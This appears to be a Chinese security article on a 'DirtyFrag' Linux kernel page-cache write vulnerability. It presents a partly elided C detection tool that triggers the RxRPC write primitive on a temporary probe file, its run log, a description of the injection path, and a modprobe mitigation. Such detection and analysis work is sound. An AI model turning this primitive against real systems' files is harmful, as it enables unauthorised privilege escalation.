已确认受影响:Ubuntu 24.04.4(6.17.0-23)、RHEL 10.1(6.12.0-124.49.1)、openSUSE Tumbleweed(7.0.2-1)、CentOS Stream 10(6.12.0-224)、AlmaLinux 10(6.12.0-124.52.3)、Fedora 44(6.19.14-300)。
检测脚本依次执行六项检查:
uname -r | ||
access("/sys/module/esp4") | ||
fork()+unshare(CLONE_NEWUSER) | ||
socket(AF_RXRPC,...) | ||
add_key 系统调用 | ||
| 页缓存写原语验证 | /tmp 探针文件上执行一次完整 RxRPC frag 写,验证页缓存是否被修改 | 最终裁定 |
第 6 项是关键:在 /tmp/.dirtyfrag_probe 探针文件(工具自建、用后即删)上完整走一遍 RxRPC frag 注入路径——暴力搜索满足 2 字节约束的会话密钥 K,触发内核解密写入,比较触发前后页缓存内容。若内核已打补丁(skb->data_len 检查触发 skb_unshare),写操作命中私有副本,探针文件不变;若未修补,页缓存被修改,bytes[0..1] 变为预期值 "OK"。
/* * DirtyFrag 漏洞检测工具 * * 检测项: * [1] 内核版本是否在漏洞窗口内 * [2] esp4 模块可用性(ESP 变体暴露面) * [3] CLONE_NEWUSER 命名空间是否可创建(ESP 变体可用性) * [4] rxrpc 模块是否可自动加载 * [5] add_key("rxrpc",...) 密钥注入是否可用 * [6] RxRPC 页缓存写原语安全验证(在 /tmp 探针文件上执行,不碰系统文件) * * 编译:gcc -O2 -Wall -o detect detect.c * 运行:./detect */#define _GNU_SOURCE#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<fcntl.h>#include<errno.h>#include<time.h>#include<poll.h>#include<sched.h>#include<endian.h>#include<sys/types.h>#include<sys/stat.h>#include<sys/socket.h>#include<sys/utsname.h>#include<sys/mman.h>#include<sys/wait.h>#include<sys/uio.h>#include<sys/syscall.h>#include<netinet/in.h>#include<arpa/inet.h>#include<linux/rxrpc.h>#include<linux/keyctl.h>#include<linux/if_alg.h>/* AF_RXRPC / SOL_RXRPC 兼容定义 */#ifndef AF_RXRPC#define AF_RXRPC 33#define PF_RXRPC 33#define SOL_RXRPC 272#endif#ifndef SOL_ALG#define SOL_ALG 279#define AF_ALG 38#endif#define RXRPC_PACKET_TYPE_DATA 1#define RXRPC_PACKET_TYPE_CHALLENGE 6#define RXRPC_LAST_PACKET 0x04#define RXRPC_CHANNELMASK 3#define RXRPC_CIDSHIFT 2#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)#define INFO(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__)#define ERR(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)#define BANNER(s) fprintf(stderr, "\n--- %s ---\n", s)#define PROBE_PATH "/tmp/.dirtyfrag_probe"/* ---- RxRPC wire 结构体 ---- */structrxrpc_wire_header {uint32_t epoch, cid, callNumber, seq, serial;uint8_t type, flags, userStatus, securityIndex;uint16_t cksum, serviceId;} __attribute__((packed));structrxkad_challenge {uint32_t version, nonce, min_level, __pad;} __attribute__((packed));staticuint8_t SESSION_KEY[8] = {0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08};/* ============================================================ * fcrypt 用户空间移植(来自内核 crypto/fcrypt.c) * ============================================================ */staticconstuint8_t fc_sbox0_raw[256] = {/* ... 256 字节 S-box 0(同 exp.c)... */0xea,0x7f,0xb2,0x64,0x9d,0xb0,0xd9,0x11,0xcd,0x86,0x86,0x91,0x0a,0xb2,0x93,0x06,0x0e,0x06,0xd2,0x65,0x73,0xc5,0x28,0x60,0xf2,0x20,0xb5,0x38,0x7e,0xda,0x9f,0xe3,0xd2,0xcf,0xc4,0x3c,0x61,0xff,0x4a,0x4a,0x35,0xac,0xaa,0x5f,0x2b,0xbb,0xbc,0x53,0x4e,0x9d,0x78,0xa3,0xdc,0x09,0x32,0x10,0xc6,0x6f,0x66,0xd6,0xab,0xa9,0xaf,0xfd,0x3b,0x95,0xe8,0x34,0x9a,0x81,0x72,0x80,0x9c,0xf3,0xec,0xda,0x9f,0x26,0x76,0x15,0x3e,0x55,0x4d,0xde,0x84,0xee,0xad,0xc7,0xf1,0x6b,0x3d,0xd3,0x04,0x49,0xaa,0x24,0x0b,0x8a,0x83,0xba,0xfa,0x85,0xa0,0xa8,0xb1,0xd4,0x01,0xd8,0x70,0x64,0xf0,0x51,0xd2,0xc3,0xa7,0x75,0x8c,0xa5,0x64,0xef,0x10,0x4e,0xb7,0xc6,0x61,0x03,0xeb,0x44,0x3d,0xe5,0xb3,0x5b,0xae,0xd5,0xad,0x1d,0xfa,0x5a,0x1e,0x33,0xab,0x93,0xa2,0xb7,0xe7,0xa8,0x45,0xa4,0xcd,0x29,0x63,0x44,0xb6,0x69,0x7e,0x2e,0x62,0x03,0xc8,0xe0,0x17,0xbb,0xc7,0xf3,0x3f,0x36,0xba,0x71,0x8e,0x97,0x65,0x60,0x69,0xb6,0xf6,0xe6,0x6e,0xe0,0x81,0x59,0xe8,0xaf,0xdd,0x95,0x22,0x99,0xfd,0x63,0x19,0x74,0x61,0xb1,0xb6,0x5b,0xae,0x54,0xb3,0x70,0xff,0xc6,0x3b,0x3e,0xc1,0xd7,0xe1,0x0e,0x76,0xe5,0x36,0x4f,0x59,0xc7,0x08,0x6e,0x82,0xa6,0x93,0xc4,0xaa,0x26,0x49,0xe0,0x21,0x64,0x07,0x9f,0x64,0x81,0x9c,0xbf,0xf9,0xd1,0x43,0xf8,0xb6,0xb9,0xf1,0x24,0x75,0x03,0xe4,0xb0,0x99,0x46,0x3d,0xf5,0xd1,0x39,0x72,0x12,0xf6,0xba,0x0c,0x0d,0x42,0x2e,};/* sbox1/2/3 及完整实现详见 detect.c 源码(随本文提供) *//* find_K_2byte(): 枚举随机 K,直到 fcrypt_decrypt(C,K)[0..1]==want0,want1 *//* do_probe_trigger(): 建立 AF_RXRPC + 伪 UDP 服务端,vmsplice+splice 注入 frag, recvmsg 触发 rxkad_verify_packet_1() 原地解密写入页缓存 */intmain(void){/* 六项检查 + 综合评估,详见完整源码 */}以下为在本文复现环境(宿主机,普通用户 hx)上运行输出:
╔══════════════════════════════════════════════════════════╗║ DirtyFrag 漏洞检测工具 (2026-05) ║║ 检测 CVE: esp4 skip_cow + rxrpc/rxkad 页缓存写原语 ║╚══════════════════════════════════════════════════════════╝--- 系统信息 ---[*] 内核版本 : Linux 6.8.0-110-generic[*] 机器架构 : x86_64[*] 当前用户 : uid=1000 euid=1000--- Check 1: 内核版本漏洞窗口 ---[*] ESP 变体范围 : Linux 6.8 >= 4.9 → [VULNERABLE][*] RxRPC 变体范围: Linux 6.8 >= 6.4 → [VULNERABLE]--- Check 2: esp4 模块可用性(ESP 变体暴露面) ---[*] esp4 模块 : 已加载 → [VULNERABLE]--- Check 3: CLONE_NEWUSER 用户命名空间(ESP 变体) ---[*] CLONE_NEWUSER : 允许 → ESP 变体条件 [VULNERABLE]--- Check 4: rxrpc 模块自动加载 ---[*] AF_RXRPC socket: 创建成功 → rxrpc.ko 已自动加载 → [WARN]--- Check 5: rxrpc 密钥注入能力 ---[*] add_key(rxrpc) : 成功(key_serial=954420009)→ [VULNERABLE]--- Check 6: RxRPC 页缓存写原语验证(探针文件,安全) ---[*] 探针文件 : /tmp/.dirtyfrag_probe[*] 偏移 0 处内容 : 44 69 72 74 79 46 72 61 "DirtyFra"[*] 搜索 K: fcrypt_decrypt(C, K)[0..1] = "OK" (0x4f 0x4b)[*] K found after 137552 iters in 0.010s K=dbc468b8d2c6a7ec P=4f4b23468d65c124[*] 触发 RxRPC 写: 将 fcrypt_decrypt(C, K) 写入探针文件偏移 0[*] 触发后页缓存 : 4f 4b 23 46 8d 65 c1 24 "OK#F.e.$"[!!!] 页缓存内容已被修改(bytes[0..1] = "OK")[!!!] 页缓存写原语确认有效 → 主机存在 DirtyFrag (RxRPC 变体)[*] 探针文件已删除,页缓存已清理--- 综合评估 --- [VULNERABLE] ESP 变体:内核版本在范围内,esp4 已加载,用户命名空间可用 [VULNERABLE] RxRPC 变体:页缓存写原语已确认有效 建议:立即应用发行版内核更新,或运行以下命令临时缓解: sudo sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf"日志解读:
/sys/module/esp4 存在,ESP 变体攻击面完整暴露。unshare(CLONE_NEWUSER) 成功,ESP 变体所需的权限提升路径可用。socket(AF_RXRPC) 成功触发 rxrpc.ko 自动加载,无需 root。add_key("rxrpc",...) 返回正值 key_serial=954420009,会话密钥注入完全可用。"DirtyFra"(十六进制 44 69 72 74...)。工具暴力搜索 K(137552 次,0.010 秒)后,以该 K 作为 RxRPC 会话密钥执行一次完整的 frag 写触发。触发后通过 open()/read() 读回页缓存,bytes[0..1] 已从 44 69("Di")变为 4f 4b("OK"),完整写入结果为 4f 4b 23 46 8d 65 c1 24(即 fcrypt_decrypt("DirtyFra", K)),证明页缓存写原语确实有效,漏洞未被修补。探针文件在验证后立即删除,drop_caches 清理页缓存,不影响系统状态。退出码 1(检测到漏洞),可集成至 CI/运维脚本中:./detect && echo SAFE || echo VULNERABLE。
免责声明:本文仅供安全学习与研究目的,复现在授权的自有环境中进行,结果已恢复。请勿在未经授权的系统上使用本文描述的技术。